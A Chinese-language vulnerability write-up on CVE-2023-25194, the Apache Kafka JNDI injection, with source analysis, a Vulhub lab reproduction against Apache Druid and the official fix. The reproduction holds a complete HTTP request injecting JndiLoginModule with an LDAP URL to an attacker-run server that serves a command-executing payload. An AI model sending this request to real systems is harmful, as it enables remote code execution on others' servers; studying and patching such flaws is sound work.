当前位置: 首页 > news >正文

CVE-2023-25194源码分析与漏洞复现(Kafka JNDI注入)

漏洞概述

漏洞名称:Apache Kafka Connect JNDI注入导致的远程代码执行漏洞
CVE编号:CVE-2023-25194
CVSS评分:8.8
影响版本:Apache Kafka 2.3.0 - 3.3.2
修复版本:≥ 3.4.0
漏洞类型:反序列化导致的远程代码执行(RCE)

CVE-2023-25194 是 Apache Kafka Connect 组件中的高危漏洞,源于其对用户控制的 SASL JAAS 配置缺乏安全校验。攻击者通过创建或修改 Kafka Connect 连接器时,注入恶意 JNDI 配置(如 com.sun.security.auth.module.JndiLoginModule),可迫使 Worker 连接至攻击者控制的 LDAP 服务器,触发 JNDI 反序列化攻击,最终在服务端执行任意命令。该漏洞需满足以下条件:

  1. 认证访问:攻击者需能操作 Kafka Connect REST API(默认端口 8083)。
  2. 配置可控:可修改连接器的 SASL JAAS 配置属性。
  3. 网络可达:Kafka Connect 服务需能访问攻击者搭建的 LDAP 服务器。

漏洞原理与源码分析

1. 漏洞触发链

攻击者控制 SASL JAAS 配置
Worker 加载 JndiLoginModule
解析 user.provider.url
连接恶意 LDAP 服务器
加载远程恶意类
反序列化执行任意命令

2. 关键源码定位

漏洞入口:动态解析 SASL JAAS 配置

代码路径org/apache/kafka/common/security/JaasContext.java

   // 处理连接器配置  public static JaasContext loadClientContext(Map<String, ?> configs) {Password dynamicJaasConfig = (Password)configs.get("sasl.jaas.config");return load(Type.CLIENT, null, "KafkaClient", dynamicJaasConfig);//未校验模块安全性,直接注入配置} 

漏洞点

  • sasl.jaas.config 直接使用用户输入字符串
  • 未过滤高危模块 com.sun.security.auth.module.JndiLoginModule
JNDI 注入触发点

代码路径com.sun.security.auth.module.JndiLoginModule#attemptAuthentication

 private void attemptAuthentication(boolean getPasswdFromSharedState)throws LoginException {String encryptedPassword = null;getUsernamePassword(getPasswdFromSharedState);try {InitialContext iCtx = new InitialContext();ctx = (DirContext)iCtx.lookup(userProvider);// 触发JNDI连接  ......}

利用条件

  • 用户需能操作 Kafka Connect REST API(默认端口 8083
  • Kafka Connect 能访问攻击者的 LDAP 服务器

影响范围与利用条件

1. 受影响版本

组件影响版本安全版本
Apache Kafka2.3.0 - 3.3.2≥ 3.4.0

2. 利用限制

  • JDK 版本限制:仅影响 JDK < 11.0.1、< 8u191、< 7u201、< 6u211(支持远程 LDAP 引用)。
  • 依赖库要求:目标需存在可用的反序列化利用链(如 CommonsCollections、Groovy)。

漏洞复现

由于这个漏洞是存在于Java库kafka-clients中,所以我们需要在真实环境下找到使用了这个库的>软件,且用户可以控制连接参数。
这个软件就是Apache Druid,其使用kafka-clients来连接Kafka作为其数据源之一。本篇文章演示如何利用CVE-2023-25194来攻击Apache Druid。

环境搭建

1.使用 Vulhub 环境启动漏洞靶机
docker-compose up -d

在这里插入图片描述

2.访问 http://target:8888,确认服务正常运行

在这里插入图片描述

攻击步骤

1.下载工具 Java Chains
2.启动工具,并登录
java -jar java-chains-1.4.1.jar
  • 登录密码启动时已经给出
    在这里插入图片描述
  • 访问your-ip:8011登录
    在这里插入图片描述
3.进入JNDI板块设置攻击机ip

在这里插入图片描述

4.选择jndibasicpayload,设置要执行的命令,点击生成

在这里插入图片描述
在这里插入图片描述

5.抓包发送如下数据包
POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: your-ip:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 1405{"type":"kafka","spec":{"type":"kafka","ioConfig":{"type":"kafka","consumerProperties":{"bootstrap.servers":"127.0.0.1:6666","sasl.mechanism":"SCRAM-SHA-256","security.protocol":"SASL_SSL","sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://java-chains:50389/x\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"},"topic":"test","useEarliestOffset":true,"inputFormat":{"type":"regex","pattern":"([\\s\\S]*)","listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965","columns":["raw"]}},"dataSchema":{"dataSource":"sample","timestampSpec":{"column":"!!!_no_such_column_!!!","missingValue":"1970-01-01T00:00:00Z"},"dimensionsSpec":{},"granularitySpec":{"rollup":false}},"tuningConfig":{"type":"kafka"}},"samplerConfig":{"numRows":500,"timeoutMs":15000}
}
  • 注意将之前生成的恶意LDAP URL放在这个请求中,并发送

在这里插入图片描述

6.验证
  • 进入容器中查看
docker exec -it  容器号   /bin/bash

在这里插入图片描述

修复方案

官方修复(≥3.4.0)

代码路径org.apache.kafka.common.security.JaasContext#throwIfLoginModuleIsNotAllowed

private static void throwIfLoginModuleIsNotAllowed(AppConfigurationEntry entry) {  // 默认黑名单:JndiLoginModule  Set<String> disallowedModules = Arrays.asList(  System.getProperty("org.apache.kafka.disallowed.login.modules",  "com.sun.security.auth.module.JndiLoginModule")  );  if (disallowedModules.contains(entry.getLoginModuleName())) {  throw new IllegalArgumentException("Login module disabled: " + entry.getLoginModuleName());  }  
}  

修复效果

  • 默认禁用 JndiLoginModule
  • 可通过系统属性扩展黑名单

漏洞启示

  1. 输入信任边界失效:动态配置接口必须强制校验模块白名单(如仅允许 PlainLoginModule)。
  2. 默认安全强化:高危功能(如 JNDI)应默认禁用,需显式开启。
  3. 纵深防御实践
    • 网络隔离:Kafka Connect 部署于独立安全域。
    • 进程权限:以非 root 账户运行服务。
    • 持续监控:检测异常 LDAP 请求。

附:同类漏洞对比

漏洞组件触发点防御核心
CVE-2023-25194Kafka ConnectSASL JAAS 配置注入禁用危险模块
Log4ShellLog4jJNDI 查找移除 JndiLookup
CVE-2021-44244Apache Dubbo反序列化 Gadget 链限制反序列化类

参考链接

  1. CVE-2023-25194 官方通告(Apache Kafka)
  2. JNDI 注入利用详解(JB51)
  3. 漏洞复现指南(CTF导航)
  4. 企业级防御建议(360CERT)
http://www.xdnf.cn/news/924157.html

相关文章:

  • Python 接口:从协议到抽象基 类(定义并使用一个抽象基类)
  • 僵尸进程是什么?怎么回收?孤儿进程?
  • vue3: bingmap using typescript
  • 快速上手shell脚本运行流程控制
  • 深度相机的日常学习
  • 20250607-在Ubuntu中使用Anaconda创建新环境并使用本地的备份文件yaml进行配置
  • Swift 协议扩展精进之路:解决 CoreData 托管实体子类的类型不匹配问题(上)
  • 线程安全集合
  • JUC并发编程(五)volatile/可见性/原子性/有序性->JMM
  • 基于 GWAS 的群体遗传分析将 bZIP29 确定为玉米中的异种基因
  • QT学习教程(二十一)
  • redis主从复制
  • go中的接口返回设计思想
  • AI Agent 与 Agentic AI 企业实践
  • 湖北理元理律师事务所:债务优化中的民生保障实践
  • 【C/C++】std::vector成员函数清单
  • 力扣HOT100之二分查找:33. 搜索旋转排序数组
  • Docke启动Ktransformers部署Qwen3MOE模型实战与性能测试
  • 如何理解ES6模块化方案的缓存机制?
  • SpringBoot离线应用的5种实现方式
  • 【python】RGB to YUV and YUV to RGB
  • 使用python实现奔跑的线条效果
  • 【八股消消乐】MySQL存储引擎InnoDB知识点汇总
  • 深入解析快速排序算法:原理、优化与应用
  • java内存模型JMM
  • 图上合成:用于大型语言模型持续预训练的知识合成数据生成
  • Python: 告别 ModuleNotFoundError, 解决 pipx 环境下 sshuttle 缺少 pydivert 依赖的终极指南
  • Redis Key过期策略
  • 关于 ​​Thread 与 Runnable​​ 以及 ​​线程生命周期​​ 的详细说明与示例
  • Protobuf 中的类型查找规则